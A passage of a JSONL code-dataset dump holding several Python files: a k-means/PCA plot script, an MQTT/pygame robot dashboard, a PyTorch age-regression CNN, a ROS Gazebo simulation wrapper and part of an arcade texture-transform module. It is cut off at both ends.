random_state=10).fit(X)\nprint(kmeans_model.labels_)\nprint(kmeans_model.cluster_centers_[:,0], kmeans_model.cluster_centers_[:,1])\nv_pca0 = pca.components_[0]\nv_pca1 = pca.components_[1]\nv_pca2 = pca.components_[2]\nprint(\"v_pca0={},v_pca1={},v_pca2={}\".format(v_pca0,v_pca1,v_pca2))\n\ncolors = [color_codes[x] for x in kmeans_model.labels_]\n# 第一主成分と第二主成分でプロットする\nplt.figure(figsize=(6, 6))\nfor kx, ky, name in zip(x, y, df.iloc[:, 0]):\n plt.text(kx, ky, name, alpha=0.8, size=10)\nplt.scatter(x, y, alpha=0.8, color=colors)\nplt.scatter(kmeans_model.cluster_centers_[:,0], kmeans_model.cluster_centers_[:,1], c = \"b\", marker = \"*\", s = 100)\nplt.title(\"Principal Component Analysis\")\nplt.xlabel(\"The first principal component score\")\nplt.ylabel(\"The second principal component score\")\nplt.savefig('k-means/keiba100/pca/keiba_std2_PCA12_plotn'+str(s)+'.jpg')\nplt.pause(1)\nplt.close()","repo_name":"MuAuan/MachineLearning","sub_path":"Fit-k-means.py","file_name":"Fit-k-means.py","file_ext":"py","file_size_in_byte":8825,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41161988588","text":"import sys\n#sys.path.append(\"..\")\n\nimport time\nimport numpy as np\nimport modules.front_pygame as front\nimport paho.mqtt.client as mqtt\nimport json\nimport threading\nimport modules.data_buffer as db\nimport hexbug_mqtt as hx\n\nWIN_SIZE = (2, 6) # in standard widget sizes\nWIN_POSITION = (0, 0)\n\nWIN_NAME = \"robotling_front_end\"\nWIN_ICON = \"robotling.png\"\nWIN_FLAGS = 0\n\nLOOP_WAIT_MS = 10\nMQTT_ROOT_TOPIC = \"\"\n\ntry:\n import robotling.NETWORK as nw\n MQTT_BROKER = nw.my_mqtt_srv\n MQTT_PORT = nw.my_mqtt_port\n MQTT_ALIVE_S = nw.my_mqtt_alive_s\nexcept:\n print(\"Error retrieving broker info from `robotling.NETWORK.py` ...\")\n exit()\n\n# ---------------------------------------------------------------------\nclass FrontEndGUI(object):\n\n def __init__(self):\n \"\"\" Initialize GUI window\n \"\"\"\n # Create window\n self.Win = front.Window(WIN_POSITION, WIN_SIZE, WIN_NAME, WIN_ICON)\n\n # Initialize\n rgV1 = [0., hx.V_MAX]\n rgPerc = [0, 100]\n rgLDif = [-1500, 1500]\n rgInt = [0, 1500]\n\n # Define comparison functions\n def fLower(_x, _xWarn, _xDanger):\n res = front.IS_OK\n if _x < _xWarn:\n res = front.IS_WARN\n if _x < _xDanger:\n res = front.IS_DANGER\n return res\n\n def fRange(_x, _xWarn, _xDanger):\n if (_x < _xWarn) or (_x > _xDanger):\n return front.IS_DANGER\n else:\n return front.IS_OK\n\n # Array for timestamps\n self.timeData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n\n # Define widgets\n #\n # Connection to MQTT broker\n x1 = 0\n y1 = 0\n self.Link = front.WidgetInfo(self.Win, (x1, y1))\n self.Link.setLabels(\"MQTT\", \"Connection status\",\n [\"MQTT broker\", \"Root topic\", \"Statistics\"])\n self.Link.draw()\n\n # Status\n x1 = 0\n y1 += self.Link.height\n self.State = front.WidgetInfo(self.Win, (x1, y1))\n self.State.setLabels(\"Status\", \"Robot(ling) status\",\n [\"Current\", \"Debug\"])\n self.State.draw()\n\n # Compass\n x1 = 0\n y1 += self.State.height\n self.Compass = front.WidgetCompass(self.Win, (x1, y1))\n self.Compass.setLabels(\"Sensors\", \"Compass\")\n self.Compass.setProperties(hx.PIRO_MAX_ANGLE)\n self.Compass.draw()\n\n # IR distance array\n x1 = 0\n y1 += self.Compass.height\n rgDist = [hx.DIST_OBST_CM, hx.DIST_CLIFF_CM ]\n self.IRDistArray = front.WidgetDistanceArray(self.Win, (x1, y1))\n self.IRDistArray.setLabels(\"Sensors\", \"IR distance array\")\n self.IRDistArray.setValProperties(\"Distance\", \"cm\", rgDist, rgDist, fRange,\n hx.IR_SCAN_POS_DEG, hx.IR_SCAN_CONE_DEG)\n self.IRDistArray.draw()\n '''\n # ****************\n # ****************\n x1 = 0\n y1 += self.IRDistArray.height\n tf1 = \"{0}\"\n rgIRDist = [0, 35]\n self.PlotIRDist = front.WidgetPlot(self.Win, (x1, y1), (2,1))\n self.PlotIRDist.setLabels(\"Sensors\", \"IR distance history\")\n self.IRLData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.IRCData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.IRRData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.PlotIRDist.addValProperties(\"Left\", \"-\", rgIRDist, rgIRDist, fRange,\n front.Color.PLOT_GR, (0,0), txtFormat=tf1)\n self.PlotIRDist.addValProperties(\"Center\", \"-\", rgIRDist, rgIRDist, fRange,\n front.Color.PLOT_OR, (0,0), txtFormat=tf1)\n self.PlotIRDist.addValProperties(\"Right\", \"-\", rgIRDist, rgIRDist, fRange,\n front.Color.PLOT_YE, (0,0), txtFormat=tf1)\n rgIRDistF = [-5, 5]\n self.nFiltArrIRDist = hx.LOAD_ARR_LEN\n self.IRLDataF = db.DataStack(self.nFiltArrIRDist, 0)\n self.IRCDataF = db.DataStack(self.nFiltArrIRDist, 0)\n self.IRRDataF = db.DataStack(self.nFiltArrIRDist, 0)\n self.PlotIRDist.addValProperties(\"f(Left)\", \"-\", rgIRDistF, rgIRDistF, fRange,\n front.Color.PLOT_GR, (1,0), txtFormat=tf1)\n self.PlotIRDist.addValProperties(\"f(Center)\", \"-\", rgIRDistF, rgIRDistF, fRange,\n front.Color.PLOT_OR, (1,0), txtFormat=tf1)\n self.PlotIRDist.addValProperties(\"f(Right)\", \"-\", rgIRDistF, rgIRDistF, fRange,\n front.Color.PLOT_YE, (1,0), txtFormat=tf1)\n self.PlotIRDist.draw()\n # ****************\n # ****************\n '''\n\n # Main battery\n x1 = 0\n y1 += self.IRDistArray.height\n #y1 += self.Compass.height\n self.Batt1 = front.WidgetStatusBar(self.Win, (x1, y1))\n sFormat = \"U = {0:.2f}V ({1:.0f}%)\"\n self.Batt1.setLabels(\"Battery\", \"Main power\", \"LiPo\",\n sFormat, 1)\n wV = hx.LIPO_MAX_V *0.7\n dV = hx.LIPO_MIN_V\n self.Batt1Filter = db.DataStack(30, hx.LIPO_MIN_V)\n self.Batt1.addValProperties(\"voltage\", \"V\", rgV1, [wV, dV], fLower)\n self.Batt1.addValProperties(\"charge\", \"%\", rgPerc, [60., 20.], fLower)\n self.Batt1.draw()\n\n # Motor load, if provided\n x1 = self.Link.width\n y1 = 0\n tf1 = \"{0}\"\n rgLoad = [-50, hx.LOAD_MAX]\n self.LoadTData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.LoadWData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.PlotLoad = front.WidgetPlot(self.Win, (x1, y1), (1,1))\n self.PlotLoad.setLabels(\"Sensors\", \"Motor load\")\n self.PlotLoad.addValProperties(\"M(walk)\", \"-\", rgLoad, rgLoad, fRange,\n front.Color.PLOT_BL, (0,0), txtFormat=tf1)\n self.PlotLoad.addValProperties(\"M(turn)\", \"-\", rgLoad, rgLoad, fRange,\n front.Color.PLOT_GR, (0,0), txtFormat=tf1)\n self.PlotLoad.draw()\n\n # Photodiode light intensity, if provided\n x1 = self.Link.width\n y1 = self.PlotLoad.height\n tf1 = \"{0}\"\n self.LightLData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.LightRData = db.DataStack(hx.LOAD_ARR_LEN, 0)\n self.PlotLight = front.WidgetPlot(self.Win, (x1, y1), (1,1))\n self.PlotLight.setLabels(\"Sensors\", \"Photodiode (intensity)\")\n self.PlotLight.addValProperties(\"L\", \"-\", rgInt, rgInt, fRange,\n front.Color.PLOT_YE, (0,0), txtFormat=tf1)\n self.PlotLight.addValProperties(\"R\", \"-\", rgInt, rgInt, fRange,\n front.Color.PLOT_OR, (0,0), txtFormat=tf1)\n self.PlotLight.draw()\n\n # IR camera\n x1 = self.Link.width\n y1 += self.PlotLoad.height\n self.CameraIR = front.WidgetCamera(self.Win, (x1, y1))\n self.CameraIR.setLabels(\"Sensors\", \"8x8 thermal camera\")\n self.CameraIR.setValProperties(\"temp.\", \"°C\", (18, 37), (16,16), True)\n self.CameraIR.draw()\n self.icr_nFr = 0\n self.icr_Frames = np.zeros((100,8,8), dtype=np.uint8)\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n def run(self):\n \"\"\" Run main loop\n \"\"\"\n global dtGUIUpdate_s, roundGUI\n\n while(True):\n # Update GUI\n t0 = time.time()\n self.update()\n self.Win.update()\n dtGUIUpdate_s = time.time() -t0\n roundGUI += 1\n\n # Check if user wants to quit\n if self.Win.doQuit():\n return\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n def update(self):\n \"\"\" Update GUI\n \"\"\"\n global isConnected, Client, Robot\n\n if not isConnected:\n # Try to connect to broker and start loop thread ...\n try:\n Client.connect(MQTT_BROKER, port=MQTT_PORT, keepalive=MQTT_ALIVE_S)\n Client.loop_start()\n isConnected = True\n except ConnectionRefusedError:\n self.Link.update([\"n/a\", \"n/a\", Robot.getStatsStr()])\n return\n\n # Is connected ...\n self.Link.update([MQTT_BROKER, MQTT_ROOT_TOPIC, Robot.getStatsStr()])\n if Robot.processLatestMQTTMsg():\n # New message received and successfully converted\n #\n # Robot(ling) status and timestamp\n d = Robot.getData(\"debug\")\n sDebug = str(d) if d is not None else \"n/a\"\n d = Robot.getData(\"state\")\n sState = hx.RStateStr[d] if d is not None else \"n/a\"\n if d is None:\n # No status published, it is likely that the rrobot's software\n # crashed. Print content of `debug` into the history\n print(\"ERROR: Last message from robot: -----\")\n print(sDebug +\"-------------------------------------\")\n sDebug = \"ERROR (see history)\"\n self.State.update([sState, sDebug])\n data = Robot.getData(hx.KEY_TIMESTAMP)\n if data is not None:\n self.timeData.shift(data)\n\n # Main battery\n data = Robot.getData(\"power/battery_V\")\n self.Batt1.isActive = not data is None\n if self.Batt1.isActive:\n self.Batt1Filter.shift(data)\n V = self.Batt1Filter.mean(25)\n C = (V -hx.LIPO_MIN_V)/(hx.LIPO_MAX_V -hx.LIPO_MIN_V) *100\n self.Batt1.update([V, C])\n self.Batt1.txtInfo = \"n/a\"\n\n # Compass\n h = Robot.getData(\"sensor/compass/heading_deg\")\n p = Robot.getData(\"sensor/compass/pitch_deg\")\n r = Robot.getData(\"sensor/compass/roll_deg\")\n self.Compass.isActive = not h is None\n if self.Compass.isActive:\n self.Compass.update([h, p, r])\n\n # IR distance array\n data = Robot.getData(\"sensor/distance_cm\")\n self.IRDistArray.isActive = not data is None\n if self.IRDistArray.isActive:\n self.IRDistArray.update(data)\n '''\n # ****************\n # ****************\n self.IRLData.shift(data[0])\n self.IRCData.shift(data[1])\n self.IRRData.shift(data[2])\n self.nBoxIRDist = 2\n self.IRLDataF.shift(self.IRLData.diff(nBox=self.nBoxIRDist))\n self.IRCDataF.shift(self.IRCData.diff(nBox=self.nBoxIRDist))\n self.IRRDataF.shift(self.IRRData.diff(nBox=self.nBoxIRDist))\n self.PlotIRDist.update([self.IRLData.data, self.IRCData.data,\n self.IRRData.data, self.IRLDataF.data,\n self.IRCDataF.data, self.IRRDataF.data])\n # ****************\n # ****************\n '''\n\n # Motor load, if provided\n data = Robot.getData(\"power/motor_load\")\n self.PlotLoad.isActive = not data is None\n if self.PlotLoad.isActive:\n self.LoadTData.shift(data[0])\n self.LoadWData.shift(data[1])\n self.PlotLoad.update([self.LoadTData.data, self.LoadWData.data])\n\n # Light intensity difference, if provided\n data = Robot.getData(\"sensor/photodiode/intensity\")\n self.PlotLight.isActive = not data is None\n if self.PlotLight.isActive:\n self.LightLData.shift(data[0])\n self.LightRData.shift(data[1])\n self.PlotLight.update([self.LightLData.data, self.LightRData.data])\n\n # Thermal camera image, if provided\n data = Robot.getData(\"camera_IR/image\")\n size = Robot.getData(\"camera_IR/size\")\n blobs = Robot.getData(\"camera_IR/blobs\")\n self.CameraIR.isActive = not data is None\n if self.CameraIR.isActive:\n self.CameraIR.update(data, size, blobs)\n '''\n if self.icr_nFr < self.icr_Frames.shape[0]:\n self.icr_Frames[self.icr_nFr] = np.reshape(data, size)\n self.icr_nFr += 1\n else:\n from tempfile import TemporaryFile\n outfile = TemporaryFile()\n np.save(\"thermodata\", self.icr_Frames)\n quit()\n '''\n\n # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n def kill(self):\n \"\"\" Destroy window\n \"\"\"\n self.Win.close()\n\n# ---------------------------------------------------------------------\n# MQTT-related\n#\n# ---------------------------------------------------------------------\ndef onConnect(client, userdata, flags, rc):\n \"\"\" The callback for when the client receives a CONNACK response from\n the server/broker. Subscribing in on_connect() means that if we\n lose the connection and reconnect then subscriptions will be\n renewed.\n \"\"\"\n global isConnected\n if rc == 0:\n print(\"MQTT: Successfully connected to `{0}`\".format(MQTT_BROKER))\n print(\"MQTT: Subscribing to `{0}` ...\".format(MQTT_ROOT_TOPIC))\n client.subscribe(MQTT_ROOT_TOPIC)\n isConnected = True\n else:\n print(\"MQTT: Broker `{0}` replied `{1}`\".format(MQTT_BROKER, rc))\n\ndef onDisconnect(client, userdata, rc):\n \"\"\" Called when the client disconnects from the broker.\n \"\"\"\n global isConnected\n print(\"MQTT: Disconnected from broker `{0}`\".format(MQTT_BROKER))\n isConnected = False\n\ndef onMessage(client, userdata, msg):\n \"\"\" The callback for when a PUBLISH message is received from the server;\n passes the latest MQTT message from robotling to the robot's\n representation object\n \"\"\"\n global Robot\n Robot.setNewMQTTMsg(msg)\n\ndef onLog(client, userdata, level, buf):\n print(\"***\", level, buf)\n\n# ---------------------------------------------------------------------\ndef parseCmdLn():\n from argparse import ArgumentParser\n parser = ArgumentParser()\n parser.add_argument('-g', '--guid', type=str, default=\"\")\n return parser.parse_args()\n\n# ---------------------------------------------------------------------\nif __name__ == '__main__':\n\n # Initialize\n isConnected = False\n dtGUIUpdate_s = 0\n roundGUI = 0\n\n # Check for command line parameter(s)\n args = parseCmdLn()\n MQTT_ROOT_TOPIC = args.guid +\"/raw\"\n if len(MQTT_ROOT_TOPIC) == 0:\n print(\"No robotling GUID given (parameter --guid or -g)\")\n\n # Robotling-related data\n Robot = hx.HexBug(isVerbose=False)\n\n # Create MQTT client\n Client = mqtt.Client()\n Client.on_connect = onConnect\n Client.on_message = onMessage\n Client.on_disconnect = onDisconnect\n #Client.on_log = onLog\n\n # Create GUI front end and run loop\n GUI = FrontEndGUI()\n GUI.run()\n\n # Clean up GUI\n GUI.kill()\n\n if isConnected:\n # Stop MQTT client\n print(\"MQTT: Stopping client loop ...\")\n Client.loop_stop()\n print(\"MQTT: Disconnecting from broker ...\")\n Client.disconnect()\n print(\"... done.\")\n\n# ---------------------------------------------------------------------\n","repo_name":"teuler/robotling","sub_path":"code/hexbug_gui.py","file_name":"hexbug_gui.py","file_ext":"py","file_size_in_byte":13963,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"71717061603","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\n\r\nclass Model(nn.Module):\r\n def __init__(self):\r\n super().__init__()\r\n # because they are RGB we put 3\r\n self.conv1 = nn.Conv2d(3, 32, (3, 3), (1, 1), (1, 1))\r\n self.conv2 = nn.Conv2d(32, 64, (3, 3), (1, 1), (1, 1))\r\n self.conv3 = nn.Conv2d(64, 128, (3, 3), (1, 1), (1, 1))\r\n self.conv4 = nn.Conv2d(128, 64, (3, 3), (1, 1), (1, 1))\r\n\r\n self.fc1 = nn.Linear(64*28*28, 512) # batch_size(?) * size * size (size after convs and maxpoolings)\r\n self.fc2 = nn.Linear(512, 1)\r\n\r\n def forward(self, x):\r\n x = F.relu(self.conv1(x))\r\n x = F.max_pool2d(x, kernel_size=(2, 2))\r\n x = F.relu(self.conv2(x))\r\n x = F.max_pool2d(x, kernel_size=(2, 2))\r\n x = F.relu(self.conv3(x))\r\n x = F.max_pool2d(x, kernel_size=(2, 2))\r\n x = F.relu(self.conv4(x))\r\n #print(x.shape)\r\n x = torch.flatten(x, start_dim=1) # cuz we dont want to flatten all of it! (0 is batch size)\r\n x = F.relu(self.fc1(x))\r\n x = self.fc2(x)\r\n x = F.relu(x)\r\n return x","repo_name":"BenyaminZojaji/Deep_Learning","sub_path":"PyTorch Face Age Regression/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"54"} +{"seq_id":"32949136207","text":"\nimport logging\nimport numpy as np\nimport os\nimport psutil\nimport rospy as ros\nimport subprocess\nimport sys\nimport threading\nimport time\n\nfrom rosgraph_msgs.msg import Clock\nfrom gazebo_msgs.msg import ModelStates\nfrom std_msgs.msg import Float32MultiArray\nfrom std_srvs.srv import Empty\nfrom gazebo_msgs.srv import AdvanceSimulation\nfrom tigrillo_2_plugin.msg import Sensors, Motors\nfrom sensor_msgs.msg import Imu\n\nimport utils\n\n__author__ = \"Gabriel Urbain\" \n__copyright__ = \"Copyright 2017, Human Brain Projet, SP10\"\n\n__license__ = \"MIT\" \n__version__ = \"2.0\" \n__maintainer__ = \"Gabriel Urbain\"\n__email__ = \"gabriel.urbain@ugent.be\" \n__status__ = \"Research\" \n__date__ = \"January 26th, 2018\"\n\n\nclass Gazebo(threading.Thread):\n\n def __init__(self, model=\"tigrillo.world\", view=False):\n\n threading.Thread.__init__(self)\n\n self.sim_ps = None\n self.sim_ps_name = \"rosrun\"\n self.sim_package = \"gazebo_ros\"\n if view:\n self.sim_node = \"gazebo\"\n self.sim_ps_list = [\"gzserver\", \"gzclient\"]\n else:\n self.sim_node = \"gzserver\"\n self.sim_ps_list = [\"gzserver\"]\n self.sim_model = model\n\n self.reset_sim_service = '/gazebo/reset_simulation'\n self.pause_sim_service = '/gazebo/pause_physics'\n self.unpause_sim_service = '/gazebo/unpause_physics'\n self.step_sim_service = \"/gazebo/advance_simulation\"\n self.pose_sub_name = '/gazebo/model_states'\n self.clock_sub_name = '/clock'\n self.motor_pub_name = '/tigrillo_rob/uart_actuators'\n self.sensor_sub_name = '/tigrillo_rob/sim_sensors'\n self.motor_sub_name = '/tigrillo_rob/sim_motors'\n self.imu_sub_name = '/imu_data'\n self.ori_pub_name = '/tigrillo_rob/orientation'\n\n self.sub_clock = None\n self.sub_state = None\n self.sim_duration = 0\n self.sensors = {\"time\": 0, \"FL\": 0, \"FR\": 0, \"BL\": 0, \"BR\": 0}\n self.motors = {\"time\": 0, \"FL\": 0, \"FR\": 0, \"BL\": 0, \"BR\": 0}\n self.imu = {\"ori_x\": 0, \"ori_y\": 0, \"ori_z\": 0, \"ori_w\": 1}\n self.pose = {\"x\": 0, \"y\": 0, \"z\": 0, \"a_x\": 0, \"a_y\": 0, \"a_z\": 0, \"a_w\": 0}\n \n self.daemon = True\n\n def run(self):\n\n # Configure ROS node\n self.reset_sim_proxy = ros.ServiceProxy(self.reset_sim_service, Empty)\n self.pause_sim_proxy = ros.ServiceProxy(self.pause_sim_service, Empty)\n self.unpause_sim_proxy = ros.ServiceProxy(self.unpause_sim_service, Empty)\n self.step_sim_proxy = ros.ServiceProxy(self.step_sim_service, AdvanceSimulation)\n self.motor_pub = ros.Publisher(self.motor_pub_name, Motors, queue_size=1)\n self.sub_clock = ros.Subscriber(self.clock_sub_name, Clock, callback=self._reg_sim_duration, queue_size=1)\n self.sensor_sub = ros.Subscriber(self.sensor_sub_name, Sensors, callback=self._reg_sensors, queue_size=1)\n self.motor_sub = ros.Subscriber(self.motor_sub_name, Motors, callback=self._reg_motors, queue_size=1)\n self.imu_sub = ros.Subscriber(self.imu_sub_name, Imu, callback=self._reg_imu, queue_size=1)\n self.pose_sub = ros.Subscriber(self.pose_sub_name, ModelStates, callback=self._reg_pose, queue_size=1)\n # self.ori_pub = ros.Publisher(self.ori_pub_name, Float32MultiArray, queue_size=1)\n self.start_gazebo()\n\n def stop(self):\n\n self.stop_gazebo()\n\n def start_gazebo(self):\n\n self.sim_duration = 0\n\n self.sim_status = self.get_gazebo_status()\n if self.sim_status == psutil.STATUS_RUNNING or self.sim_status == psutil.STATUS_SLEEPING:\n sys.stdout.write(\"Already started! \")\n return\n\n proc = [self.sim_ps_name, self.sim_package, self.sim_node, self.sim_model]\n sys.stdout.write(\"Starting gzserver.. \") \n sys.stdout.flush()# with params: \" + str(proc)\n self.sim_ps = subprocess.Popen(proc, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n proc_out, proc_err = self.sim_ps.communicate()\n\n def stop_gazebo(self):\n\n sys.stdout.write(\"Stoping gzserver!\\t\") \n sys.stdout.flush()\n for p in self.sim_ps_list:\n tmp = os.popen(\"ps -Af\").read()\n ps_count = tmp.count(p)\n if ps_count > 0:\n os.system(\"killall -9 \" + p)\n\n def reset_gazebo(self):\n\n ros.wait_for_service(self.reset_sim_service)\n try:\n self.reset_sim_proxy()\n except ros.ServiceException as e:\n print(\"Reset simulation service call failed with error\" + str(e))\n\n def pause_gazebo(self):\n\n ros.wait_for_service(self.pause_sim_service)\n try:\n self.pause_sim_proxy()\n except ros.ServiceException as e:\n print(\"Pause simulation service call failed with error\" + str(e))\n\n def unpause_gazebo(self):\n\n ros.wait_for_service(self.unpause_sim_service)\n try:\n self.unpause_sim_proxy()\n except ros.ServiceException as e:\n print(\"Unpause simulation service call failed with error\" + str(e))\n\n def step_gazebo(self, timestep):\n\n #ros.wait_for_service(self.step_sim_service)\n try:\n self.step_sim_proxy(timestep)\n except ros.ServiceException as e:\n print(\"Simulation step service call failed with error\" + str(e))\n\n def get_gazebo_status(self):\n\n self.sim_status = psutil.STATUS_STOPPED\n\n for proc in psutil.process_iter():\n if proc.name() == self.sim_ps_name or proc.name() == self.sim_node:\n self.sim_status = proc.status()\n self.sim_pid = proc.pid\n\n return self.sim_status\n\n def get_gazebo_time(self):\n\n return self.sim_duration\n\n def get_sensors(self):\n\n return self.sensors\n\n def get_motors(self):\n\n return self.motors\n\n def get_imu(self):\n\n return self.imu\n\n def get_pose(self):\n\n return self.pose\n\n def _reg_sim_duration(self, time):\n\n self.sim_duration = time.clock.secs + time.clock.nsecs/1000000000.0\n\n def _reg_sensors(self, msg):\n\n self.sensors = {\"FR\": msg.FR, \"FL\": msg.FL, \"BR\": msg.BR, \"BL\": msg.BL, \"time\": msg.run_time}\n\n def _reg_motors(self, msg):\n\n self.motors = {\"FR\": msg.FR, \"FL\": msg.FL, \"BR\": msg.BR, \"BL\": msg.BL, \"time\": msg.run_time}\n\n def _reg_imu(self, msg):\n\n x, y, z = utils.quaternion_to_euler_angle(msg.orientation.w, msg.orientation.x, \n msg.orientation.y, msg.orientation.z)\n\n self.imu = {\"ori_x\": x, \"ori_y\": y, \"ori_z\": z}\n\n # self.ori_pub.publish(Float32MultiArray(data=[x, y, z]))\n \n def _reg_pose(self, msg):\n\n index = -1\n for i, name in enumerate(msg.name):\n if name == \"tigrillo\":\n index = i\n\n if index != -1:\n p = msg.pose[index].position\n o = msg.pose[index].orientation\n self.pose = {\"x\": p.x, \"y\": p.y, \"z\": p.z,\n \"a_x\": o.x, \"a_y\": o.y, \"a_z\": o.z, \"a_w\": o.w}\n\n return\n\n def is_sim_started(self):\n\n return self.sim_duration > 0\n\n def actuate(self, update):\n\n self.motor_pub.publish(run_time=self.sim_duration, FL=update[0], FR=update[1], \n BL=update[2], BR=update[3])\n\n\nif __name__ == '__main__':\n\n\n ros.init_node('physics', anonymous=True) # The ROS node can only be created in the main thread!!\n \n for i in range(2):\n p = Gazebo()\n p.start()\n\n # Check time for 20 seconds\n for j in range(21):\n print(\"Time: \" + str(j) + \"s and sim time: \" + str(p.get_gazebo_time()) + \\\n \"s and status: \" + str(p.get_gazebo_status()) + \\\n \" and X position: \" + str(p.get_pose()['x']))\n if ros.is_shutdown():\n p.stop()\n exit(-1)\n time.sleep(1)\n \n p.stop()","repo_name":"gurbain/tigrillo2","sub_path":"exp/physics.py","file_name":"physics.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"74230251042","text":"\"\"\"\nModule for handling common texture transforms\nsuch as rotation, translation, flipping etc.\n\nWe don't actually transform pixel data, we simply\ntransform the texture coordinates and hit box points.\n\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Dict, Tuple\nfrom enum import Enum\nfrom arcade.math import rotate_point\nfrom arcade.types import PointList\n\n\nclass VertexOrder(Enum):\n \"\"\"\n Order for texture coordinates.\n \"\"\"\n UPPER_LEFT = 0\n UPPER_RIGHT = 1\n LOWER_LEFT = 2\n LOWER_RIGHT = 3\n\n\nclass Transform:\n \"\"\"\n Base class for all texture transforms.\n\n Transforms are responsible for transforming the texture\n coordinates and hit box points.\n \"\"\"\n #: How texture coordinates order should be changed\n #: for this transform.\n #: upper_left, upper_right, lower_left, lower_right\n order = (\n VertexOrder.UPPER_LEFT.value,\n VertexOrder.UPPER_RIGHT.value,\n VertexOrder.LOWER_LEFT.value,\n VertexOrder.LOWER_RIGHT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n \"\"\"Transforms hit box points.\"\"\"\n return points\n\n @classmethod\n def transform_vertex_order(cls, order: Tuple[int, int, int, int]) -> Tuple[int, int, int, int]:\n \"\"\"\n Transforms and exiting vertex order with this transform.\n This gives us important metadata on how to quickly transform\n the texture coordinates without iterating all applied transforms.\n \"\"\"\n return (\n order[cls.order[0]],\n order[cls.order[1]],\n order[cls.order[2]],\n order[cls.order[3]],\n )\n\n @classmethod\n def transform_texture_coordinates_order(\n cls,\n texture_coordinates: Tuple[float, float, float, float, float, float, float, float],\n order: Tuple[int, int, int, int],\n ) -> Tuple[float, float, float, float, float, float, float, float]:\n \"\"\"\n Change texture coordinates order.\n\n :param texture_coordinates: Texture coordinates to transform\n :param order: The new order\n \"\"\"\n uvs = texture_coordinates\n return (\n uvs[order[0] * 2],\n uvs[order[0] * 2 + 1],\n uvs[order[1] * 2],\n uvs[order[1] * 2 + 1],\n uvs[order[2] * 2],\n uvs[order[2] * 2 + 1],\n uvs[order[3] * 2],\n uvs[order[3] * 2 + 1],\n )\n\n\nclass Rotate90Transform(Transform):\n \"\"\"\n Rotate 90 degrees clockwise.\n \"\"\"\n order = (\n VertexOrder.LOWER_LEFT.value,\n VertexOrder.UPPER_LEFT.value,\n VertexOrder.LOWER_RIGHT.value,\n VertexOrder.UPPER_RIGHT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n return tuple(rotate_point(point[0], point[1], 0, 0, -90) for point in points)\n\n\nclass Rotate180Transform(Transform):\n \"\"\"\n Rotate 180 degrees clockwise.\n \"\"\"\n order = (\n VertexOrder.LOWER_RIGHT.value,\n VertexOrder.LOWER_LEFT.value,\n VertexOrder.UPPER_RIGHT.value,\n VertexOrder.UPPER_LEFT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n return tuple(rotate_point(point[0], point[1], 0, 0, -180) for point in points)\n\n\nclass Rotate270Transform(Transform):\n \"\"\"\n Rotate 270 degrees clockwise.\n \"\"\"\n order = (\n VertexOrder.UPPER_RIGHT.value,\n VertexOrder.LOWER_RIGHT.value,\n VertexOrder.UPPER_LEFT.value,\n VertexOrder.LOWER_LEFT.value,\n )\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n return tuple(rotate_point(point[0], point[1], 0, 0, -270) for point in points)\n\n\nclass FlipLeftRightTransform(Transform):\n \"\"\"\n Flip texture horizontally / left to right.\n \"\"\"\n order = (\n VertexOrder.UPPER_RIGHT.value,\n VertexOrder.UPPER_LEFT.value,\n VertexOrder.LOWER_RIGHT.value,\n VertexOrder.LOWER_LEFT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n return tuple((-point[0], point[1]) for point in points)\n\n\nclass FlipTopBottomTransform(Transform):\n \"\"\"\n Flip texture vertically / top to bottom.\n \"\"\"\n order = (\n VertexOrder.LOWER_LEFT.value,\n VertexOrder.LOWER_RIGHT.value,\n VertexOrder.UPPER_LEFT.value,\n VertexOrder.UPPER_RIGHT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n return tuple((point[0], -point[1]) for point in points)\n\n\nclass TransposeTransform(Transform):\n \"\"\"\n Transpose texture.\n \"\"\"\n order = (\n VertexOrder.UPPER_LEFT.value,\n VertexOrder.LOWER_LEFT.value,\n VertexOrder.UPPER_RIGHT.value,\n VertexOrder.LOWER_RIGHT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n points = FlipLeftRightTransform.transform_hit_box_points(points)\n points = Rotate90Transform.transform_hit_box_points(points)\n return points\n\n\nclass TransverseTransform(Transform):\n \"\"\"\n Transverse texture.\n \"\"\"\n order = (\n VertexOrder.LOWER_RIGHT.value,\n VertexOrder.UPPER_RIGHT.value,\n VertexOrder.LOWER_LEFT.value,\n VertexOrder.UPPER_LEFT.value,\n )\n\n @staticmethod\n def transform_hit_box_points(\n points: PointList,\n ) -> PointList:\n points = FlipLeftRightTransform.transform_hit_box_points(points)\n points = Rotate270Transform.transform_hit_box_points(points)\n return points\n\n\n# Pre-calculated orientations. This can be calculated at runtime,\n# but it's faster to just pre-calculate it.\n# Key is the vertex order\n# Value is the orientation (flip_left_right, flip_top_down, rotation)\nORIENTATIONS: Dict[Tuple[int, int, int, int], Tuple[int, bool, bool]] = {\n (0, 1, 